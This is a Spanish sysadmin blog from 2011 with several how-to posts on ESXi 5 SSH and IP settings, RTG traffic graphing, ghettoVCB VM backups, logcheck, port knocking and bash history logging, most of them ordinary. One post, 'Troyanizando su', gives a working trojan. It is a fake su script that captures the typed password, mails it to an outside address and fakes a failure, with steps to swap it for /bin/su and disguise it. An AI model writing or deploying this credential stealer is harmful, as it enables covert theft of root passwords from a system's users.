viernes, 28 de octubre de 2011

Cambiar Port SSH en ESXi 5

Editamos el archivo y cambiamos el port por defecto (22) por el que deseamos, en mi caso por el 3333:

# vi /etc/ssh/sshd_config
Port 3333


Reiniciamos los agentes:

# services.sh restart


Configuramos el firewall:

# vi /vmfs/volumes/datastore
<ConfigRoot>
<service id='0000'>
<id>sshMorsa</id>
<rule id='0000'>
<direction>inbound</direction>
<protocol>tcp</protocol>
<dst< /porttype>
<port>3333</port>
</rule>
<enabled>true</enabled>
<required>false</required>
</service>
</ConfigRoot>


Creamos el script para después del booteo editando el /etc/rc.local y agregamos las siguientes líneas:

# vi /etc/rc.local
#Creamos el script:
cp /vmfs/volumes/datastore/sshMorsa.xml /etc/vmware/firewall

# Actualizamos las reglas del firewall:
/sbin/esxcli network firewall refresh


Verificamos el vSphere Client:




FUENTES:
http://www.no-x.org/
http://communities.vmware.com

lunes, 24 de octubre de 2011

RTG debian squeeze

Instalación:

# apt-get install php5-snmp rrdtool php-pear libmysqlclient16 snmp gcc g++ make php5-snmp libsnmp15 libsnmp-dev libapache2-mod-php5 libsnmp-base php5-mysql php5-snmp php5-gd php5-cli php5-cgi libmysqlclient-dev mysql-server php5-mysql

# cd /usr/local/src

# wget http://puzzle.dl.sourceforge.net/sourceforge/rtg/rtg-0.7.4.tar.gz

# tar xzvf rtg-0.7.4.tar.gz

# cd rtg-0.7.4

# ./configure

# make

# make install

### Esto instala todos los archives de configuracion bajo: /usr/local/rtg

### Ahora copiar el archivo rtgplolt con el siguiente comando:


# cp /usr/local/src/rtg-0.7.4/src/rtgplot /usr/local/bin/rtgplot



Configurando la DB:

Para configurala debemos tener el password del mysql y reemplazarlo en el siguiente comando por (pass_mysql_root):

# /usr/local/rtg/etc/createdb (pass_mysql_root)


/usr/local/rtg/etc/createdb setting up MySQL database for RTG.
Using MySQL binaries in /usr/bin.

Adding user "snmp" to MySQL database...
Creating RTG database "rtg"...
Reloading MySQL privileges...
Creating RTG tables...
Done.



Configurando RTG: debemos editar 2 archivos

# vim /usr/local/rtg/etc/routers

#Comentar todo lo que tenga y solo dejarla ips de los routes que deseamos poolear, uno por cada linea
192.168.1.1

# vim /usr/local/rtg/etc/rtgtargmkr.pl
$community = "poner_my_comunidad"; # Default SNMP community

# /usr/local/rtg/etc/rtgtargmkr.pl

Poking 192.168.1.1 (mi_comunidad) (32 bit)...
SNMP Error:
no response received
SNMPv1_Session (remote host: "192.168.1.1 " [192.168.1.1].161)
community: "mi_comunidad"
request ID: 614928433
PDU bufsize: 8000 bytes
timeout: 2s
retries: 5
backoff: 1)
at /usr/local/rtg/etc/SNMP_util.pm line 458
SNMPGET Problem for sysDescr on mi_comunidad@192.168.1.1
at /usr/local/rtg/etc/rtgtargmkr.pl line 303


POSIBLEMENTE EL ERROR, PORQUE NO TIENE LA IP HABILITADA PARA CONSULTAS SNMP
Probamos haciendo un snmpwalk:


# snmpwalk -v 2c –c mi_comunidad 192.168.1.1

Timeout: No Response from 192.168.1.1 #Esto nos indica que no llegamos x snmp

En cambio si tenemos varias líneas con algo como esto, si esta funcionando:
iso.3.6.1.2.1.2.2.1.1.52 = INTEGER: 52
iso.3.6.1.2.1.2.2.1.1.53 = INTEGER: 53
iso.3.6.1.2.1.2.2.1.1.54 = INTEGER: 54


Volvemos a ejecutar el script en perl si tuvimos error de snmp:
# /usr/local/rtg/etc/rtgtargmkr.pl

# mv /root/targets.cfg /usr/local/rtg/targets.cfg

# mysql rtg –u root –p
mysql> UPDATE interface SET description='global_network 100Mbps' WHERE id=7;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
mysql> quit



Iniciar el pooleo:

# /usr/local/rtg/bin/rtgpoll -v -t /usr/local/rtg/targets.cfg

RTG version 0.7.4 starting.
Checking another instance with pid 6560.
PID 6560 is no longer running. Starting anyway.
Using RTG config file [/usr/local/rtg/etc/rtg.conf].
Reading RTG target list [/usr/local/src/rtg-0.7.4/targets.cfg].
Successfully hashed [268] new targets, (94336 bytes).
Initializing threads (5).
Initializing SNMP (v1, port 161).
Connecting to MySQL database 'rtg' on 'localhost'...connected.
RTG Ready.
[10/23 23:00:31 Queue ready, broadcasting thread go condition.]
[10/23 23:00:31 Poll round 1 complete.]

[Polls = 268] [DBInserts = 0] [Wraps = 0] [OutOfRange = 0]
[No Resp = 0] [SNMP Errs = 0] [Slow = 0] [PollTime = 0.785s]



Agregamos el siguiente comando en el inicio al rc.local:

# vim /etc/rc.local
/usr/local/rtg/bin/rtgpoll -v -t /usr/local/rtg/targets.cfg -c /usr/local/rtg/etc/rtg.conf



Interface web:

# cp -Rpf /usr/local/rtg/web/ /var/www/rtgweb

# cp –pf /usr/local/rtg/bin/rtgplot /var/www/rtgweb/rtgplot.cgi

# vim /etc/apache2/sites-enabled/rtg




AllowOverride AuthConfig
AddType application/x-httpd-php .php
AddHandler cgi-script .cgi
Options +ExecCGI




# vim /usr/local/rtg/etc/rtg.conf

#
# RTG Master Config
#
Interval 300
HighSkewSlop 3
LowSkewSlop .5
OutOfRange 93750000000
SNMP_Ver 2
SNMP_Port 161
DB_Host localhost
DB_Database rtg
DB_User snmp
DB_Pass rtgdefault
Threads 5



Restartear apache server:

# /etc/init.d/apache2 restart


Se puede acceder al servicio en http://yourserverip/rtgweb/

http://192.168.1.1/rtgweb/rtg.php

http://yourserverip/rtgweb/rtg.php (Interactive Reports)
http://yourserverip/rtgweb/95.php (95th Percentile Queries)
http://yourserverip/rtgweb/view.php (MRTG-style overview + day/wk/mo plots)


FUENTE: http://www.debianhelp.co.uk/rtg.htm

viernes, 14 de octubre de 2011

Cambiar Ip VMware ESXi 5

Luego de ingresar al cliente de VMware para ESXi clickeamos en la solapa Configuration:


Dentro del recuadro Hardware clickeamos en Networking:


Properties ...


Hacemos doble click en: Management Network


Finalmente seleccionamos IP Settings, cambiamos obtener una ip automatica por: Use the following IP settings e ingresamos la ip, mascara y gateway deseado y damos Ok:

lunes, 10 de octubre de 2011

Troyanizando su

Creamos un archivo su.sh y colocamos lo siguiente dentro:


#!/bin/bash
echo -n Password:
stty -echonl -echo
read VAR
echo $VAR | mail morsa@mi-dominio.com.ar
echo
echo su: Authentication failure
stty -echonl echo


Damos permisos de ejecución:

# chmod a+x su.sh


Luego podemos reemplazarlo por el verdadero su

# whereis su
su: /bin/su /usr/share/man/man1/su.1.gz
# mv /bin/su /bin/su.orig
# mv /root/su.sh /bin/su


Luego podemos convertir el script en bash a binario como lo explicamos en el siguiente enlace: Convertir un Script en Bash a Binario

También podríamos agregar al final del script la invocación del verdadero su, para que no genere ninguna duda.

domingo, 9 de octubre de 2011

Registrar Licencia ESXi 5.0

Ingresamos al VMware vSphere Client:



Nos logueamos al ESXi:



Vamos a la Solapa Configuración:



En el Cuadro de Software clickeamos en Licensed Features:



Seleccionamos Edit como muestra la siguiente imagen:



Agregamos la nueva Licencia que obtuvimos cuando descargamos el VMware ESXi:





Verificamos que en el siguiente recuadro rojo tenemos la Key válida:

jueves, 6 de octubre de 2011

Clonar Máquinas Virtuales en Caliente en ESXi

Para realizar la clonación utilizaremos el ghettoVCB, la cuál es una alternativa libre para backupear Maquinas Virtuales ESX(i)

Este script usa metodologia similar a VMware's VCB tool. Toma snapshots de una VM en ejecucion, backupea el VMDK master y luego elimina el snapshot hasta el siguiente backup.


Requerimientos:

* Maquinas Virtuales corriendo en ESX(i) 3.5/4.x+/5.x (Yo solamente probe que funcione en ESXi 4.1 update 1 y 5.0)

* Consola con acceso SSH al host ESXi, podemos consultar el siguiente link que explica como habilitarlo: Habilitar SSH en VMware ESXi 5


Instalacion:

Descargamos el ghettoVCP.tar.gz de: https://github.com/lamw/ghettoVCB/tarball/master y lo subimos con WinSCP al server ESX(i), si no tenemos habilitado SSH en el server podremos habilitarlo desde el VMware vSphere Client como explicamos previamente.

Luego lo descomprimimos:

~ # tar -zxvf lamw-ghettoVCB-19e0d4b.tar.gz
tar: warning: skipping header 'g'
lamw-ghettoVCB-19e0d4b/
lamw-ghettoVCB-19e0d4b/README
lamw-ghettoVCB-19e0d4b/ghettoVCB-vm_backup_configuration_template
lamw-ghettoVCB-19e0d4b/ghettoVCB.conf
lamw-ghettoVCB-19e0d4b/ghettoVCB.sh
~ #



Editamos el ghettoVCB.sh:
/lamw-ghettoVCB-19e0d4b # vi ghettoVCB.sh


Cambiar:
#VM_BACKUP_VOLUME=/vmfs/volumes/dlgCore-NFS-bigboi.VM-Backups/WILLIAM_BACKUPS

Por:
VM_BACKUP_VOLUME=/vmfs/volumes/datastore1/backups


Editar el ghettoVCB.cfg:

# vi ghettoVCB.conf
VM_BACKUP_VOLUME=/vmfs/volumes/datastore1/backups
DISK_BACKUP_FORMAT=thin
VM_BACKUP_ROTATION_COUNT=3
POWER_VM_DOWN_BEFORE_BACKUP=0
ENABLE_HARD_POWER_OFF=0
ITER_TO_WAIT_SHUTDOWN=3
POWER_DOWN_TIMEOUT=5
ENABLE_COMPRESSION=0
ADAPTER_FORMAT=buslogic
VM_SNAPSHOT_MEMORY=0
VM_SNAPSHOT_QUIESCE=0
ENABLE_NON_PERSISTENT_NFS=0
UNMOUNT_NFS=0
#NFS_SERVER=172.30.0.195
#NFS_MOUNT=/nfsshare
#NFS_LOCAL_NAME=nfs_storage_backup
#NFS_VM_BACKUP_DIR=mybackups
SNAPSHOT_TIMEOUT=15
EMAIL_LOG=0
EMAIL_DEBUG=0
EMAIL_SERVER=relay.mi-dominio.com.ar
EMAIL_SERVER_PORT=25
EMAIL_TO=desde@mi-dominio.com.ar
EMAIL_FROM=hacia@mi-dominio.com.ar



Ejecutamos el script, especificando en un archivo de texto el nombre de las maquinas que queremos backupear:

# vi vms_to_backup
Nombre_de_Maquina_Virtual_a_Backupear
# ./ghettoVCB.sh -f vms_to_backup


Fuente: http://communities.vmware.com

Habilitar SSH en VMware ESXi 5

Ingresamos al vSphere Client y hacemos click en la ip del Server como indica la siguiente imagen:




Vamos a la solapa Configuración




Luego en Security Profile:




Vemos que aparece SSH, pero sólo hacemos click en Properties ...:




Seleccionamos SSH y luego options






Lo iniciamos con Start y damos Ok



miércoles, 5 de octubre de 2011

Eliminar una particion Protegida GPT

Suele ocurrir que no podemos eliminar una particion desde el administrador de disco (diskmgmt.msc) debido a que esta protegida con GPT, para eliminarla hacemos lo siguiente:

Inicio -> Ejecutar -> cmd


C:\Documents and Settings\admin>diskpart

DISKPART> list disk

Disk ### Status Size Free Dyn Gpt
-------- ---------- ------- ------- --- ---
Disk 0 Online 75 GB 0 B
Disk 1 Online 932 GB 0 B


Queremos seleccionar el disco 1 el cual deseamos eliminar la particion:
DISKPART> select disk 1


Disk 1 is now the selected disk.

DISKPART> clean


DiskPart succeeded in cleaning the disk.

DISKPART> exit


Listo, ahora si podemos utilizarla desde el "diskmgmt.msc"

Mejoras en el History

El comando history muestra la lista de comandos ejecutados, por defecto viene configurado con un limite, el cual muestra los ultimos 500 comandos ejecutados en la consola, si queremos extenderlo a 1000 debemos hacer lo siguiente:

Editamos el archivo .bash_profile del respectivo usuario, en este caso root:
# vim /root/.bash_profile
HISTSIZE=1000
HISTFILESIZE=1000


Para que los cambios sean tomados debemos salir y volver a loguearnos.


Ahora agregaremos fecha y hora de ejecucion de los comandos:
# vim /root/.bash_profile
HISTTIMEFORMAT='%F %T '


Enviar los logs del history al /var/log/syslog:
# vim /root/.bash_profile
function loguearAlsyslog
{
declare command
command=$(fc -ln -0)
logger -p local1.notice -t bash -i — $USER : $command
}
trap loguearAlsyslog DEBUG

lunes, 3 de octubre de 2011

LogCheck en Debian Squeeze

Que es logcheck?

Logcheck verifica cada una de las lineas de archivos de logs basandose en distitos tipos de niveles y los reporta al SysAdmin en un formato simple, para que pueda entenderlo, por ejemplo envía por mail las lineas mas importarntes como ser cambio de contraseñas, intentos de loguin fallidos, ataques y cualquier otra alerta que creamos importante.

En conclusion, nos ayuda a encontrar problemas de violaciones de seguridad automáticamente en nuestros archivos y los envía por mail, por defecto cada hora y luego de realizar un reboot.

Soporta 3 niveles de filtrado:

"paranoid" es para elevada seguridad de maquinas ejecutando la menor cantidad de procesos que sea posible.

"server" es la configurada por defecto y contiene reglas para diferentes demonios. Tambien incluye "paranoico"

"workstation" incluye "paranoid" y "server"


El mensaje que reporta es informado con 3 etiquetas:

"eventos de sistemas"
"eventos de seguridad"
"alertas de ataques"


Ejemplos:

logcheck puede ser invocado directamente por su o sudo, quien cambia el UID.

sudo -u logcheck logcheck -o -t



FILES
/etc/logcheck/logcheck.conf is the main configuration file.

/etc/logcheck/logcheck.logfiles is the list of files to monitor.

/usr/share/doc/logcheck-database/README.logcheck-database.gz for hints
on how to write, test and maintain rules.


# apt-get install logcheck


# logcheck

logcheck should not be run as root. Use su to invoke logcheck:
su -s /bin/bash -c "/usr/sbin/logcheck" logcheck
Or use sudo: sudo -u logcheck logcheck.


Editamos los archivos que deseamos que nos informe:
# vim /etc/logcheck/logcheck.logfiles
/var/log/syslog
/var/log/auth.log
/var/log/messages


Archivo de configuracion:
# vim /etc/logcheck/logcheck.conf

DATE="$(date +'%Y-%m-%d %H:%M')"
INTRO=1
REPORTLEVEL="server"
SENDMAILTO="morsa@mi-dominio.com"
MAILASATTACH=0
FQDN=1
SUPPORT_CRACKING_IGNORE=1
RULEDIR="/etc/logcheck"
SYSLOGSUMMARY=0
ATTACKSUBJECT="Security Alerts"
SECURITYSUBJECT="Security Events"
EVENTSSUBJECT="System Events"
ADDTAG="yes"
TMP="/tmp"


Instalamos postfix para que envíe el correo:
# apt-get install postfix
Ok
Internet Site
logserver.mi-dominio.com


Testeamos que llegue un correo de prueba: (sino poseemos el comando mail lo instalamos con apt-get install bsd-mailx)
# echo hola | mail morsa@mi-dominio.com


Instalamos sudo para poder ejecutarlo sin que sea root:
# apt-get install sudo


Ejecutamos el logcheck con el sudo:
# sudo -u logcheck logcheck -o -t

PortKnocking en Debian Squeeze desde Windows

Que es portknocking:

Es una tecnica de seguridad muy particular, facil y simple. Es utilizado para no dejar puertos a la escucha, por ejemplo en la administracion remota de linux utilizamos el puerto 22, pero recibimos varios ataques de fuerza bruta continuamente por tener este puerto escuchando. Podemos evitar dichos ataques e incluso escaneos utilizando esta tecnica.

Es comparado con el "golpear antes de entrar", por ejemplo, antes de abrir la puerta de casa esperamos que los integrantes de la familia utilicen un codigo, como ser el "pa parabapa pa pa", de esta forma identificamos que es algun familiar y procedemos a abrir la puerta.

El gopeteo de puertos consiste en tener el puerto bloqueado por el firewall hasta que recibamos "el golpe secreto", en nuestro caso utilizamos una secuencia de escaneos a ciertos puertos previamente configurados, reemplazamos el "pa pa parapa pa pa" por el "7000 8000 9000" para abrir el puerto y para cerrarlo en orden inverso "9000 8000 7000" (en nuestro ejemplo, ustedes pueden configurarlo con otros puertos y en el orden deseado).

Utilizaremos el KnockKnock en windows para golpear un servidor linux y habilitar el acceso por SSH:

Instalamos knockd en linux:
# apt-get install knockd


Habilitamos reglas para que solo hagan SSH desde una unica direccion ip:
# iptables -A INPUT --source 192.168.1.100 -p tcp --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 22 -j DROP


Verificamos las reglas agregadas:
# iptables -L -n
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- 192.168.1.100 0.0.0.0/0 tcp dpt:22
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22


Configuramos el knockd, lo dejamos como viene por default, si tenemos SSH corriendo en otro puerto, debemos cambiar el 22 tanto en iptables como en el knockd.conf:
# vim /etc/knockd.conf
[options]
UseSyslog

[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn


Reiniciamos el demonio:
# /etc/init.d/knockd restart
Stopping Port-knock daemon: knockd.
knockd disabled: not starting. To enable it edit /etc/default/knockd ... (warning).


Lo habilitamos:
# vim /etc/default/knockd
START_KNOCKD=1


Ahora cuando lo reiniciamos no nos aprarece el warning:
# /etc/init.d/knockd restart
Stopping Port-knock daemon: knockd.
Starting Port-knock daemon: knockd.


Enviamos el golpe de puerto desde la Pc remota desde la cual deseamos que abra el puerto:

Utilizamos el mismo knock si lo hacemos desde un linux:
# knock -v 192.168.1.1 7000 8000 9000


Si lo hacemos desde windows descargamos el siguiente el knock-knock:
Download KnockKnock_v0.92.zip

Luego de instalarlo y ejecutarlo especificamos la ip que deseamos golpear y los puertos que configuramos en el knock.conf para habilitar las reglas en el firewall:

Ip a golpear: 192.168.1.1
New port: 7000, 8000 y 9000



Vemos que podemos conectarnos por SSH al puerto 22 en la ip 192.168.1.1. Ahora si en cambio ejecutamos en orden inverso segun lo que configuramos, en vez de 7000, 8000 y 9000 hacemos: 9000, 8000 y 7000 vemos que perdemos conexion y solamente nos queda la siguiente linea en iptables:

DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt: 22